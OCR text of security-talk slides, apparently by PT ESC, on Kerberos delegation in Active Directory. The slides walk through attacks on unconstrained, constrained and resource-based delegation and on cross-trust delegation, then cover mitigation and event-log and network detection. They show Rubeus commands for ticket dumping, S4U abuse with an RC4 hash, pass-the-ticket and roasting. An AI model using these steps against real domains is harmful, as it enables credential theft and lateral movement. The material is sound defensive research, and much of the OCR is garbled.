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PT ESC

* Perform threat hunting on the Customer's infrastructure
* Investigate incidents

* Write correlation rules

* Develop IDS rules: over 5,000 by now

* Enrich our products with expertise

twitter.com/AttackDetection
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History

* Unconstrained Delegation
Windows 2000

* Constrained Delegation
Windows Server 2003

* Resource-Based Constrained Delegation
Windows Server 2012



Kerberos & Single Sign-On (SSO)
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Kerberos & Single Sign-On (SSO)
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Specification



Unconstrained Delegation

ADSDBO1 Properties i S

+ E ad Sy to S et u p ' General | Operating System | Member OF Delegation | Location | Managed By | Diabn |

Delegation is a securnty-sensitive operation, which allows services to act on
behalf of another user.

™ Do not trust this computer for delegation

+ Easy to use

™ Trust this computer for delegation to specified services only
£ Use Kerberos only

[ ] [ ]
I E a S tO m a I n ta I n € ze any authentication protocal
y Semizes to which this account can prezent delegated credentials:

Service Type | |ser or Computer | Port | Service M

- I[nsecure

[ Expanded Sdd,.. Remove

QK I Cancel Lpply Help
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Unconstrained Delegation

TrustedForDelegation

User's . . {Unapproved)
Machine Service 1 Service 2 KDC Service N

(1) Kerberos login—i >
uq {:z]. Ticket Granting Tuckét
TGT fO r -‘3} Request forwarded TGT -.
1 H v-: "4_] Forwarded TGT n:turnm i
primary login g ~
{5) Requr:st ticket for 'Sr:r'u'n:n: lwmuh
a-l ‘E} Ticket for Service l 1

;—{?} Request—- _ i
! ———{B) Request thI{:ET far Service E—HE
-9 Ticket fl:hr' Service 2—4

. | {10) Request
TGS for login R User - >

. : -4—(11) Response—
tO SerVICe nq—{12:| Response— |

___,___________ __________,__________.,___________,____.

{13) Request l:u:ket for Service N—I-c

tlf—————{ 14} Ticket ﬁ:u' Service N—-

" {15) Request as Llser I-t

- ; {16) Response
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Constrained Delegation

SHAREPOINT Properties ? X

Location Managed By Object Securty Dial-n Attribute Editor
General  Operating System Member Cf Delegation  Password Replication

I E a Sy t O u S e Delegation is a securty-sensitive operation, which allows services to act on

behalf of another user.

i) Do not trust this computer for delegation

S P N (®) Trust this computer for delegation to specified services only

() Use Kerberos only

I I d (®) Use any authentication protocol
- a r t O S e t u p Services to which this account can present delegated credentials:

Service Type  User or Computer Paort Service N
® e HTTP sharepoint
- Hard to maintain NSSOL  dbfoveshodphd 1443
MSSaL db fe-washod phd MSSQLSER. .
SP C2WTS
£ >
[] Expanded Add... Remaove

Concat | [ ey | [t
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Constrained Delegation

S4USelf

User authenticates to the
service in some way other
than by using Kerberos

S4UProxy

Allows the caller to contact
some other service, acting
on behalf of the user.

User's

Machine Service 1

‘ Service 2 \ ‘ \

—t{ 1) Re:mehl—h-

(2) Sﬂuzsclf—h—::

idl—{]} Service tncl-mi. as If fram user

-q—{ 4) Response —

E—{E} Renunsl—p—i

L {6) S4UZproxy for Service 2— !

Er-—[?] Ticket for Service 2

(8) Request
As User

f.-q—u;ijn Re's:n-nns.c—f

-@—{10) Response—i

TrustedToAuthForDelegation

{Unapproved)
Service N
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Resource-Based Constrained Delegation

+ Easy to use

-Very hard to setup
- Hard to maintain

- I[nsecure

SHAREPOINT Properties ? >

Location Managed By Ohject Security DialHn Attribute Editor
General Operating System Member Cf Delegation Passwond Replicatio

ation is a secunty-sensitive operation, which allows services to act on
another uger.

ated credentials:

Service Type  User or Comput Port Service M;

HTTP sharepoirt
MS5QL db fo-vash
MS5QL

Cancel Apply Help
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Resource-Based Constrained Delegation

Service A Service B

S4USelf | .

Classic Constrained Delegation )

I

User authenticates to the | |
. . . |
service in some Way Other msDS-AllowedToDelegateTo=Service B B} |
I

I

I

I

than by using Kerberos .

"outgoing" constrained delegation

>

I
I
I
i
|
C

i
|
S4 U P roxy Resourced-Based Constrained Delegation ) |
I

Allows the caller to contact
some other service, acting
on behalf of the user.

msDS-AllowedToActOnBehalfOfOtherldentity=Service A Iﬁ
I

I
"incoming” constrained delegation H
I
I
I
I
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Attack

Unconstrained Delegation



Unconstrained Delegation: attack

Jser s Service 1 Service 2 KDC {Unapproved)

] 1_7 Stages Machine | | SEchEN
then... {1} Kerberos login ...z

- r:z]- Ticket Granting T.ckét
- *’3} Request forwarded TGT -..
--1 "4j| Forwarded TGT rr:turnr:c
1 1 {5) chur:st ticket for Scrwm 1-----—----—--—-—h-:
1. Get available tickets ; |
- ‘6] Ticket for Service l 4

E—{I-']l Requiest —f-

2 . D u m p tic ket ——(8) Request t:n:kér_rt far Service E—IH

—{9) Ticket fl:hr' Service 2—4
3. Get TGS 10 Reavest_ | |
| —{11) F'.egpﬂnsn—g
l-l—{ 12) Response—
{1 3} Request l:u:ket for Service N—I-c
atfp—( 14} Ticket ﬁ:u' Service N

" {15} Request as Llser ....:

- ; {16) Response
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Unconstrained Delegation: attack

domainl.smthng

Domain Domain
MS SQL Controller Users
(KDC)
A
Server
l Users
v
Sharepoint Exchange Domain

Admins



Unconstrained Delegation: attack

domainl.smthng

Domain Domain
MS SQL Controller 2. TGS Users
(KDC)
3. Send ticket Server
1 Users
Sharepoint Exchange Domain
Admins

TGS [U]] TGT



Unconstrained Delegation: attack

domainl.smthng

1TGT
Domain
MS SQL Controller 2.7G5
(KDC)
4. TGS
5 m 1 3. Send ticket
Sharepoint Exchange

TGS TGT

Domain
Users

Server
Users

Domain
Admins



Unconstrained Delegation: attack

domainl.smthng

1TGT
Domain Domain

MS SQL Controller 2. TGS Users

(KDC)
4. TGS

3. Send ticket Server

Users
Exchange Domain

Admins




Unconstrained Delegation: attack

What does an attacker get?

> \Rubeus triage

LsaRegisterLogonProcess()
to connect to LSA
Use
LsaCallAuthenticationPackage()
to get cached tickets

to show cached tickets

github.com/GhostPack/Rubeus

O\Je4
Ox3ed
Ox3ed
Ox3ed
Ox3ed
Ox3ed
Oxad4eb
0x18324
0Ox1

Ox1

Ox1

: Triage Kerberos Tickets (All

Administrator
Administrator

p
sharepoint$ @
sharepoint$ @
sharepoint§ @
sharepoint$ @
sharepoint$ @
sharepoint$ @
sharepoint$ @
sharepoint$ @
sharepoint§ @
sharepoint$ @
sharepoint$ @
sharepoint$ @
sharepoint_srv
sharepoint_srv
sharepoint_srv
sharepoint_srv
sharepoint_srv

Users)

.PHD
- fc-voshed. phd/fc-voshod. phd

- PHD
gt/ .PHD
c1f5’WIN2010 1DcC
cifs/Win2016-1bC. fc-voshod. phd/fc-voshod. phd
LDAP/Win2016-1DC. fc-voshod. phd
SHAREPOINTS
LDAP /Win2016-1DC. fc-voshod. phd/fc-voshod. phd
kr btqt "FL \CHHCID PHD
.FHD
) .fc-voshod. phd
GCHW1n201b 1DL fc-voshod. phd’fc—”oshod phd
Tdap/Win2016-1DC. fc-voshod. phd/fc-voshod. phd
c1fs’W1n201b 1pC. fc-voshod. phd
k .PHD
. PHD
. PHD
krbtgt/FC-VOSHOD.PHD
sharepoint_srv




Unconstrained Delegation: attack

Dump krbtgt tickets

> \Rubeus dump /luid: <...>

[*] Enumerated 1 ticket(s):

ServiceName krbtgt/FC-VOSHOD.PHD
TargetName

ClientName BNosov

DomainName FC-VOSHOD. PHD
TargetDomainName FC-VOSHOD. PHD
AltTargetDomainName FC-VOSHOD. PHD
sessionKeyType rcd_hmac
BasebdsSessionKey JHKckSkmrol/AIkBKValDA==
KeyExpirationTime 01/01/1601 03:00:00
TicketFlags name_canonicalize, pre_authent,
StartTime 04/18/2019 13:50:41
EndTime 04/18/2019 23:
RenewUnti’l 04/25/2019 13:37:
TimeSkew 0

FrnrondadTirketsiza 1316

BasebdEncodedTicket

doIFIDCCBRYgAWIBBAEDAGEW00IENDCCEDBhggQsMIIEKKADAQEF 0Q8bL
Z30bDUZDLVZPUOhPRC5QSES jggPqMIID5qADAQE X0QMCAQKiggPYBIID
MeWmoIhrd+Xfogy4j9CnhN1uHINh3H/00X9yI5jA2zHIWQLiR5EFaebB
NQWO+eEKBNEZzxyICic5IQ/MLNU1Zp+FHsahRexcL99jiNkygbLbokQtzom
SQGc,/1N4Q5Q1yoUcuvKBeWuadhesDqg2z0QC2117/Rz4wIn/S719q002vYK(
+d1DPYQREHd9ZTLdeQPK116cmNgPveUpd,/pry4SXGXvIDe55cLRI1D d+v
dxDGlwXtfQgMnTgASpinNogPIXFzJIHpHobT9eUCHTi8Y+zibMptylw/d
A7 yvkMgE/WFItvsE/opknOHsDrpPmPvVrwxud+4+w2IjloéTiuodbrfcArz




Attack

Constrained Delegation



Constrained Delegation: attack

User's . ) {Unapproved)
Machine Service 1 Service 2 KDC Sarvice N

(1) Request—»

(2) S4U2self— g

Get hash, password or TGT

-q—{ 3) Service ticket, as if from user—i:

and then 1) Rsporse—]

Send S4U request to KDC —n+

E—{E-} 54u2pn:-w,'r for Service 2—--

Er-l—{?] Ticket fré-r' Servioe 2

(8) Request
: As User -

4—{ 9% Respo n*;e—

@—{10) Response—i
25



Constrained Delegation: attack

domainl.smthng

Domain Domain

MS SQL Controller Users

(KDC)
1 A

Server

Users

1. Auth e
Exchange ——— 2. S4USelf LCIGELT

- 3. S4UProxy Admins




Constrained Delegation: attack

What does the attacker have? 1. Get TGT of Sharepoint’s
Hacked domain server - service account
2. Get TGS of Sharepoint
What does the attacker need? service for domain user
Impersonate domain user to another 3. Send TGS(2) and get
domain server MSSQL ticket for domain
user

— There is no need to dump ticket



Constrained Delegation: attack

1. Get TGT of Sharepoint service account
AS-REQ / AS-REP

PS C:\Users\Administrator.cf-media\Desktop> .\Rubeus.exe sd4u /user:service-sharepoint /rc4:4b
0a23ceccalfofb9696df0c9a30485 dc:DCO1l /msdsspn:MSsQLSvc/db.cf-media.phd:1433 /impersonateuser

Action: Ask TGT

Using rcd_hmac hash: 4b70a23ceccalf6f69696df0c9a30485

Usina domain controller- DCO1 _cf-media ohd (172 16 61 _100

Building AS-REQ (w/ preauth) for: 'cf-media.phd\service-sharepoint’
TGT request successful!

basebd(ticket.karb1):

28



Constrained Delegation: attack

2. Get TGS of Sharepoint service for domain user
TGS-REQ / TGS-REP

Action: s4U

Using domain controller: DCO1. cf media.phd (172.16.61.10)

Building s4U2self request for: 'service-sharepoint@CF-MEDIA.PHD'

sending s4U2self request

s4U2self success!

Got a TGS for 'AAleshnikov@CF-MEDIA.PHD' to 'service-sharepoint@CF-MEDIA.PHD'
basebd (ticket.kirbi):

doIFYjCCBVbgAwIBBaEDAgEWoOIEATCCBGVhggRhMIIEXaADAQEFoQ4bDENGLULFRETBL IBIRKITMBZ2g
AWIBAAEWMBQbENnNTcnZpY2UtcZhhcmvwb 2 TudKOCBCMwggQf oAMCARehAWIBABKCBBEEggONCCImAT Y+
MEOL34+7ZTi1wbly9kAovowMgpnbTONHNT9vd9801 9pKUVYyzmvSMUtYeN2r0zD15SxZRrbExgZ0ABKXOCH
Z+TyyAMBwWOHpKpbwzKQCNSHE zpF fUdMoulL sNbje+ rThmIVV4rnAKIESOQIOW,/Zs JAN JnWt rOZKmk TwdM
vOSReXEviW] jbOAhROKSyenkntFiwvx8 tNMOpRECWQE 1311 /BN TWCHNIFUFGvGbIveV3IXRWVshzBQ1xtu
CNO2J1bV540EKwl vt jOOYUONBRMGObULNSGYAV2TecnMpCo3Tv 1+EVMcKgOW,/ WZewQKNS8Yk rxXuwIfgsR
Oyb1GEYgORvQBCNOvNOQsOQMFGVvUWOXE8qlmae3+4v20SRoFDKS TEXBCYKKQEB1 1TrhR91pyQb9hleatsv
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Constrained Delegation: attack

¥ Kerberos

2. Get TGS of Sharey . iy =7
TGS—REQ / TGS-REP E:;::ype: krb-tgs-req (12) TGS-REQ

v padata: 2 items
PA-DATA PA-TGS-REQ
¥ PA-DATA PA-FOR-USER
¥ padata-type: kRBS-PADATA-FOR-USER (129)
v padata-value: 3B61a@2530233803820103allc381alblE41416ch573686e..

Action: s4U

. . ¥ name
Using dc::m;—_ﬂ n controller: name-type: kRB5-NT-ENTERPRISE-PRINCIPAL (1@)
Building s54UZ2self reques v nape-ctciog. 1 3

sending S4U2self request KerberosString: AAleshnikovfiCF-MEDIA.PHD

sduZself success! realf®
Got a TGS for 'AAleshnik cksum

basebd (ticket.kirbi): auth: Kerberos

v req-body

doIFYjCCBV6gAWIBBAEDAQ Padding: @

AwIBAaEM’IEQbEnN'Icnzp"r'E kdc-options: 48888818 (forwardable, renewable, renewable-ck, enc-tkt-in-skey)
M&EOL34+7ZTiwb1ly9kAovcw
Z4+TyyAMBwWOHpKpbwzKQCNS
vOSReXEvW]jbOAhROKSyen
CNO2J1bV540EKwl vt jO0YUuO
Oyvb 1GEYgORVQBCNBVNQSQM™

¥ cname-string: 1 item
CHameString: service-sharepoint
CF-MEDIA.PHD

realm:

30



Constrained Delegation: attack

3. Get MSSQL ticket for domain user
TGS-REQ / TGS-REP

Impersonating user 'AAleshnikov’ to target SPN 'MssQLSvc/db.cf-media.phd:1433°
Using domain controller: DCOLl.cf-media. phd (172.16. 6l. 10)

Building S4UZ2proxy request for service: 'MSsQLSvc/db.cf-media.phd:1433°
Sending S4UZproxy request

sd4u2proxy success!

basebd (ticket.kirbi) for SPN 'MssqQLSvc/db.cf-media.phd:1433":

doIGUjCCBkbgAWIBBaEDAGEWoOIFTTCCBUThggVFMIIFQaADAGEFoQ4bDENGLULIFRE 1BL IBIRKI rMCmg
AWIBAQE iMCAbCEITULIFMU3ZjGxXxRKYi15]Z11tZWRpYS5waGQoMTQzMbOCBPswggT 30AMCARehAWIBBKKC
EDquqT]zTRRLmHekaRMq\LerRWLWLI”AackprN+szRHq’H\AfIQJR|’HdEEjh;&tﬂkA\WpquzLT
AL7NrIRH/SxXNB2TwVUGGS ]/ 1Tvp9szyYlgwj91suwkyX61bFdHTtC1 /FidBG1HQ9tyTO/ aiW3ZeODIA
vQ7 RCvO9DEMXK ZN+17 \y15mbabDaumR4M’KbEh’dEFEFSEwdkc1szAﬂthkquS\Lb DXbEt148gT9XK
1aNf1\CIFDDL\FSRbCBHPaszIDEHGCJtT1cKKbuESydeszLIﬂhIEnIhzw51]deh5p11L215dekE
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Attack

Resource-Based Constrained Delegation



Resource-Based Constrained Delegation: research

@harmjOy, @decoder it
Attacker needs to enable Resource-Based Delegation on hacked

machine and ...
“must be able to get the password hash of the computer object he wants to add

into the attribute”
msds-AllowedToActOnBehalfOfOtherldentity

33



Resource-Based Constrained Delegation: research

@harmjOy, @decoder it

Attacker needs to enable Resource-Based Delegation on hacked

machine and ...
“must be able to get the password hash of the computer object he wants to add
into the attribute”

msds-AllowedToActOnBehalfOfOtherldentity

Attacker needs

1. Get SYSTEM privileges on victim PC WRITE ACCESS

2. Create new domain machine account to set attributes

34



Resource-Based Constrained Delegation: research

(G et_AC L ”A D : S ( ( G et_A D CO m p u te r ? (Get-ACL "AD:S((Get-ADComputer sharepoint).distinguishedname)").access | Where-Object -Property ActiveDirecton,
Fulter
<name>).distinguishedname)”.access
ActiveDirectoryRights InhentanceType | . | . | . | . | |dentityReference = [zl
ReadProperty, WriteProperty None wi e e e NTAUTHORITYWSELF
| W h e re_o bj e Ct —P ro p e rty WriteProperty MNone v o cf-media\Domain Admins .. .. ..
. . . WriteProperty Mone wi e cf-media\Domain Admins 0 L
Actlve D I re Cto ry R I g htS —IVI atC h WriteProperty Mone v cf-media\Domain Admins L e
. WriteProperty MNone wi o e Cf-medig\Domain Admins 00 L L
erte P rO pe rty WriteProperty MNone wi o e o cf-medig\Domain Admins L . .
ReadProperty, WriteProperty MNone wi oo cf-media\Cert Publishers 0
WriteProperty All v oo WTAUTHORITYWSELF e ae
ReadProperty, WriteProperty  All mhl— o e
WriteProperty al L w W cf-medigdsrv_admins L
WriteProperty Al L L L LT O-mediasorganizatuon Management .. . ..
WriteProperty All wi e e cf-media\Exchange Trusted Subsystern .. .. ..
WriteProperty All W cf-media\Exchange Windows Permissions .. .. ..
WriteProperty =) wi o e Cf-media\Organization Management .. .. ..
p rivi I ege d a CCO u ntS N nite Property All wi o e cf-media\Exchange Trusted Subsystern .. .. ..
WriteProperty All wi o e o cf-media\Organization Management .. .. ..
WriteProperty All wi o cf-media\Exchange Trusted Subsystem .. .. ..
WriteProperty All wi oo cf-media‘\Organization Management .. ..
WriteProperty All wi o w o Cf-media\Exchange Trusted Subsystem .. .. ..
WriteProperty All wi o e cf-media\Exchange Servers L L




Resource-Based Constrained Delegation: attack

Service A Service B

Classic Constrained Delegation )

I
DA |S n Ot n e e d e d msDS-AllowedToDelegateTo=Service B B}

4. ]

I
I
| "outgoing" constrained delegation
I
|

WRITE ACCESS —
to S Et i tt rl b ’ te S \ Resourced-Based Constrained Delegation ) :

|
I
I | msDS-AllowedToActOnBehalfOfOtherldentity=Service A Iﬁ
on y I |
I
I
I

I
"incoming” constrained delegation >|
I
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Attack

Delegation across domain trusts



Delegation across trusts

domainl.smth

DC.domainl.smth

trust

domain2.smth

DC.domain2.smth

trust

Servers Users

Unconstrained

Servers

Users



Delegation across trusts: attack

domainl.smth domain2.smth

DC.domain2.smth

trust

Servers

Users

Servers Users




Delegation across trusts: attack

domainl.smth domain2.smth

DC.domain2.smth

trust

Servers

C
n
(") o
q
7



Delegation across trusts: attack

domainl.smth domain2.smth

DC.domain2.smth

trust trust

>< < > >< I

Servers

Servers Users

C
n
(")
q
7



Delegation across trusts: «PrinterBug»

MS-RPRN (Printer System Remote Protocol)

DCERPC, SPOOLSS
RpcRemoteFindFirstPrinterChangeNotificationEX (opcode: 65)

Attacker

1. OpenPrinter

<

2. RFFPCNEX

<

<

Send TGS with TGT

Victim

42



Delegation across trusts: «PrinterBug»

The “printer bug”

DCB

<- two-way
Compromised Forest (FORESTB) forest trust -> Victim Forest (FORESTA)

43



Delegation across trusts: attack

Home domain

User sends request for TGT
to trusted domain and

Client: AAleshnikov @ CF-MEDIA.PHD

ettin krbt t then does Server: krhtgt/CF—MEDIA.PHD @ CF—-MEDIA.PHD
E; g; g; KerhTicket Encryption Iype: AES-256—CTS-HMAC-SHAL-
Ticket Flags Bx6Bald@B@ —> forwardabhle forwarded wgnewahle pre_authent n
me_cangonicalize
Start Time: 4-.17-28019 12:48:41 (local>
e End Time: 4172019 22:47:41 {local>
Renew Time: 4-24-20817 12:47:41 (local>
Session Key Type: AES-256-CTS-HMAC-SHA1-96

something

Client: AAleszshnikov @ CF-MEDIA.PHD

Server: krbtgt/BIGBROGROUP.PHD @ CF-MEDIA.PHD

KerbhTicket EncPuption lupe: ReHDSI RC4-HMAGCNT

Ticket Flags Bx4BaS5BEEA -> forwardable renewable ppe_authent ok_as_deleg
te nage_canonicalize

Start Time: 4172019 12:48:41 {(locall

End Time: 4,17-2017 22:47:41 (local)

Renew Time: 4-24-/2019 12:47:41 {(local’

Seszion Key Type: RSADSI RC4-HHMACCNT >

Trusted domain



Delegation across trusts: attack

. . EnableTGTDelegation
Getting available

tickets and find
krbtgt from trusted
domain

[#] Action: Triage Kerberos Tickets <All Users)

i Bx4e9fdd § AAleshnikow @ CF-MEDIA.PHD i krbtyt-CF-MEDIA.PHD 4,17,281% 18:47:41 PH

I Bx62898 oolnlnlotond i CIRND g ! ToIHD 4/17/201%9 PM

- | Bx62898 | administrator @ BIGBROGROUP.PHD | krhtgt-BIGEBROGROUP.PHD 4-17-201% PM

> -\R u b e u S tr I ag e i Bx62898 | administrator @ BIGBROGROUF.PHD cifs/sprv—dc—-81.bighrogroup.phd 4172017 8:87:21 PH
| Bx62898 | administrator @ BIGBROGROUP.PHD ldap-sruv—dc—81 . bighrogroup. phd 4-17-28012 8:87:21 PH

i Bx62898 | administrator @ BIGBROGROUF.PHD LDAR/srv—dc—@1 .bighrogroup.phd-bighrogroup.phd 4172017 8:87:21 PH

Bx3e4 ! £s% BIGEROGROUP . PHD krbhtgt/BIGBROGROUP . PHD 4,/1?7-2019 9:88:83 PM

support.microsoft.com/en- Bx3e4 fs5 B BIGBROGROUP.PHD krbtgtBIGEROGROUF . PHD 4/17,2019 9:09:83 PH
us/help/4490425/updates-to-tgt-deIegation- Bx3ed BIGEROGROUP . PHD cifs sru—dc—B1 . bighrogroup.phd 4/17/2019 9:08:83 PM
across_lncomlng_trusts_ln_WIndOWS_Server Bx3e4 H BIGBROGROUP . FHD ldap~srv—dc—81 . bighrogroup. phd-bhighrogroup. phd 4-17-2019 11:29:87 AN
Bx3e? ! BIGEROGROUP . PHD krbhtgt/BIGBROGROUP . PHD 4,17-2019 8:81:81 PM

blOgS.teChnet.minOSOft.Com/aSkpfeplat/2019/o4/ Bx3e? BIGEROGROUP . PHD kll-htgt/BIGBROGROIfP.PHD 4/17-2019 8:81:81 PM

Bx3e? BIGBROGROUP . PHD cifs/spru—dc—@1 . bigbrogroup. phd 4172017 8:81:81 PM

11/ChangES'tO'tiCket'granting'tiCket'tgt' Bx3e? BIGEROGROUP . PHD F8% 4,17,2012 8:81:81 PHM

deIegation-across-trusts-in-windows-server- Bx3e? BIGEROGROUP _PHD LDAP/sru—dc—@1 . highrogroup. phd/bighrogroup.phd ! 41720819 8:81:81 PH
askpfeplat-edition Bx3e? A BIGEROGROUF . PHD LDAF/srv—dc—81.bighrogroup. phd 4/17/2019 11:10:29 AN
BIGBROGROUP . PHD cifs/sru—dc-81 4/17/2019 11:18:29 AM




2.

Delegation across trusts: attack

Dump needed ticket

> \Rubeus dump
lluid: <...>

UszerMame

Domain

LogonId

UserSID
AuthenticationPackage
LogonT ype

LogonT ime

LogonServer
LogonServerDNSDomain
UserPrincipalMame

[#] Enumerated 1 ticketis

SeruviceMame
TargetMame
ClientHame
DomainMame

I arye L I".I i J_.I | Hﬂllll:
AltTargetDomainName
SeszionKeyT ype
BazebdSessionHey
KeyExpirationT ime
TicketFlag=s
StartTime

EndT ime

Renewllntil

TimeSkew
EncodedTicketSiz=e
Bazebd4EncodedT icket

ARlezshnikov
cf—media
Bx4e9fdA

E_

1-5-21-34778091299-231258578-4234887974-1118

Kerheros
Hetwork
41728019 8:58:89 AM

CF-MEDIA.PHD

o’

krhtgt -CF-MEDIA.PHD

Aflleshnikov
CF-MEDIA.PHD

el TNILGLFPLH - L TTLY

CF-MEDIA.FHD

aes256_cts_hmac_shal

CfcvMJHAAE 1BT=Bjegxbbt jRyyiF6 Ul oPeZ4ychgll
17171681 3:88:88 AM

name_canonicalize, pre_authent, renewahbhle,
417208019 12:48:41 PH

4172017 18:47:41 PM

4242017 12:47:41 PH

A

1356
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Lateral Movement

* Possible DC Sync

e Pass-The-Ticket

> \Rubeus ptt /ticket:<...>

* Roasting

> \Rubeus kerberoast

> \Rubeus asreproast



Lateral Movement: Delegation across trusts

* Possible DC Sync In Trusted Domain
e Pass-The-Ticket * Possible recon
> \Rubeus ptt /ticket:<...> +

* Possible exploitation

* Roasting
* Pass-The-Ticket

> \Rubeus kerberoast

> \Rubeus asreproast



How to find?



How to find

Object Attributes:
* msds-AllowedToDelegateTo (Constrained)
* msds-AllowedToActOnBehalfOfOtherldentity (Resource-Based)

UAC Object Flags:
* TrustedForDelegation (Unconstrained)
* TrustedToAuthForDelegation (Constrained)



How to find: LDAP & UAC

Get-ADObject —LDAPFilter “(UserAccountControl:1.2.840.113556.1.4.803:=<VALUE>)”

VALUE __ TRUSTED_FOR_DELEGATION to DEC > 524288
< > = TRUSTED_TO_AUTH_FOR_DELEGATION 16843264

Ps C:\Users\Administrator\Desktop> Get-ADObject

DistinguishedName Name ObjectClass ObjectGUID

CN=service-mssql ,CN=Users,DC=cf-media,DC=phd service-mssql user Ob7edf2d-. ..
CN=service-sharepoint,CN=Users,DC=cf-media,DC=phd service-sharepoint user f7edl0ec-. ..
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How to find: Unconstrained Delegation

Get-ADComputer -Filter {(TrustedForDelegation -eq STrue) —AND (PrimaryGrouplD —eq 515)}

-Properties TrustedForDelegation,TrustedToAuthForDelegation,servicePrincipalName,Description

PS C:\Users\Administrator> Get-ADComputer {(TrustedForDelegation $True. (PrimaryGrou
cipalName ,Description

Description :

DistinguishedName : CN=ASHARAPOVA ,OU=Workstations ,DC=fc-voshod,DC=phd
DNSHostName : Asharapova. fc-voshod. phd

Enabled : True

Mame : ASHARAPOWVA

ObjectClass : computer

ObjectGUID : 2de31976-b02f-4e8e-90de-195b7817d6f5

SamAccountName : ASHARAPOVAS

servicePrincipalName : {TERMSRV/ASHARAPOVA, TERMSRV/ASharapova.fc-voshod.phd, WSMAN/ASharapova,
STD = S=1-5-21-1412375888-935389713-3975659875-1146

TrustedForDelegation : True

IrTUsTediOAUTNFOrUeE Tegation : radise

UserPrincipalName :

PS C:\WUsers\Administrator:>
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How to find: Constrained Delegation

Get-ADUser -Filter {TrustedToAuthForDelegation -eq STrue} -Properties

‘TrustedForDelegation,TrustedToAuthForDelegation,servicePrincipalName,Description

PS C:\Users\Administrator> Get-ADUser {(TrustedToAuthForDelegation $True) }

"TrustedForDelegation, TrustedToAuthForDelegation,ServicePrincipalName ,Description

Description :

D1 stinguishedName : CN=service-sharepoint,CN=Users ,DC=cf-media,DC=phd
Enabled : True

GivenName : service-sharepoint

Name : service-sharepoint

ObjectClass Iouser

ObjectGUID : f7e410ec-18a3-4b70-a38c-cdB8cbeBcOad3
SamAccountName : service-sharepoint

servicePrincipalName : {HTTP/sharepoint.cf-media.phd, HTTP/sharepoint}
SID : 5-1-5-21-34/77001299-231250578-4234887974-1212
Surname :

TrustedForDelegation : False

TrustedToAuthForDelegation : True

USErFrincipd iNdime . service-sharepoint@cf-media.phd
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How to find: Resource-Based Constrained Delegation

Get-ADUser -Filter {TrustedToAuthForDelegation -eq STrue} -Properties

‘msds-allowedtoactonbehalfofotheridentity,servicePrincipalName,Description

Ps C:\Users\Administrator\Desktop> Get-ADUser

{TrustedToAuthForDelegation

"msDS-AllowedToActOnBehalfofotherIdentity,ServicePrincipalName,Description

Description
DistinguishedName
Enabled

[ W= a1 =T T

msDS-Al lowedToActOnBehalfofotherIdentity :

Name

Jpjecti lass
)bjectGUID
SamAccountName
servicePrincipalName
SID

Surname
UserPrincipalName

: CN=service-sharepoint,CN=Users,DC=cf-media,DC=phd
: True

carmsmira _chamannadnt

System.DirectoryServices.ActiveDirectorySecurity
service-sharepoint

- user

f7edl0ec-18a3-4b70-a38c-cd8cbeeclad3
service-sharepoint
{HTTP/sharepoint.cf-media.phd, HTTP/sharepoint}
S-1-5-21-3477001299-231250578-4234887974-1212

service-sharepoint@cf-media. phd
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How to find: Delegation across trusts

Get-RiskyServiceAccountByTrust.psl -Collect -ScanAll

EN Administrator: Windows PowerShell —

PSs C:\Users‘\Administrator\Desktop> whoami.exe
ct-media .administrator _
F5 C:yUsersh\Administrator\Desktop> .\Get-Risky.psl

domain sAMAccountName objectClass 1isDC isRODC fullDelegation constrainedDelegation resourceDelegation

bigbrogroup. phd srv-DC-01% computer
bigbrogroup.phd Fs$ computer False True
bigbrogroup.phd RESERV-DC-01$ computer True False True False False

PS C:\Users\Administrator\Desktop:>

support.microsoft.com/en-us/help/4490425/updates-to-tgt-delegation-across-incoming-trusts-in-windows-server
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Features

* Delegation accounts can be either user or machine
» Attacker can impersonate all service users (including domain admins)
* Many IT accounts have WriteProperty which is used to set attributes

* Different protocols and services may use the same SPN which means
that the same service ticket is being used for authorization



Mitigation: Unconstrained Delegation

1. Don’t use Unconstrained Delegation

cannot be

2. Set elevated admin accounts to be «sensitive» <
delegated
3. Use membership of «Protected users» group /

4. Create SPN with port, like MSSQL/db.contoso.local:1443



Detection: host-based by events

4688 Create Process 4672 Special privileges assigned
NewProcessName to new logon
Rubeus.exe 4673 Privilege service called
ComandLine :
Rub L Service
ubeus.exe <command> /<option>: LSARegisterLogonProcess()
4769 KRB service ticket request ProcessName
Check ServiceName Isass.exe
Check TargetDomain Keywords
Check Ta.argetUse.rName Audit Failure AND Audit Success
Check TicketOptions

Check TicketEcnryptionType



Detection: host-based by events

4611 Trusted Logon process «PrinterBug» exploitation
Check SubjectDomainName 5140 Share object access
Check SubjectUserName Check SubjectDomainName
LogonProcessName Check SubjectUserName
User32LogonProcqsss] 5145 Detailed share object access
4624 Logon (Server 2012+) Check SubjectDomainName
ImpersonationLevel Check SubjectUserName
ShareName like
IPCS

RelativeTargetName like
spoolss



Detection

KDC does not count issued tickets
KDC does not keep analytics of issued tickets

So, we can establish links between: hosts, users, services and time to
live of tickets.



Detection: network-based (unconstrained

* Kerberos

Ru beus + PaSS—The—TiCket and Record Mark: 1461 bytes

¥ tgs-req

dir \\\dCO 1\CS zzgiy; krb-tgs-req (12)

¥ padata: 1 item

KRES 99 TGS-REP ¥ req-body

KRBS 1735 TGS-REQ Padding: @

KRES 289 TGS-REP kdc-options: 48888818 (forwardable, renewable, renewable-ok)
KRES 1735 TG5-REQ ¥ cname

KRES 289 TG5-REP name-type: kRBS-NT-PRINCIPAL (1)

KRES 1735 TG5-REQ ¥ cn == :

KRES 1735 TGS-REQ realmt rawe "

KRES 289 TGS5-REP ¥ sname

SMBZ2 386 Negotiate Protocol Response name-type: kRB5-NT-SRV-INST (2)

SME2 232 Negotiate Protocol Request v spame-string: 2 items

SMB2 366 Negotiate Protocol Response SNameString: cifs

SMB2 1857 Session Setup Request SNameStrine: DOEL

sMB2 315 session Setup Response £1117 20370513 05:45:05 {uTC)

SMB2 152 Tree Connect Request Tree: \\dc@®l\IPC% nonce: 1818848256

SMB2 138 Tree Connect Response v etype: 4 items

SMB2 178 Ioctl Request FSCTL_QUERY _NETWORK_INTERFACE_INFO ENCTYPE: eTYPE-AES256-CTS-HMAC-SHAL-96 (18)
SMB2 198 Toctl Request FSCTL_DFS_GET_REFERRALS, File: \dc@l\c$ ENCTYPE: eTYPE-AES128-CTS-HMAC-SHAL-96 (17)
SMB2 322 Ioctl Response FSCTL_QUERY _NETWORK_INTERFACE_INFO ENCTYPE: eTYPE-ARCFOUR-HMAC-MDS (23)

SMB2 131 Toctl Response, Error: STATUS_PENDING ENCTYPE: eTYPE-ARCFOUR-HMAC-MDS-56 (24)
SMB2 131 Ioctl Response, Error: STATUS _NOT_FOUND

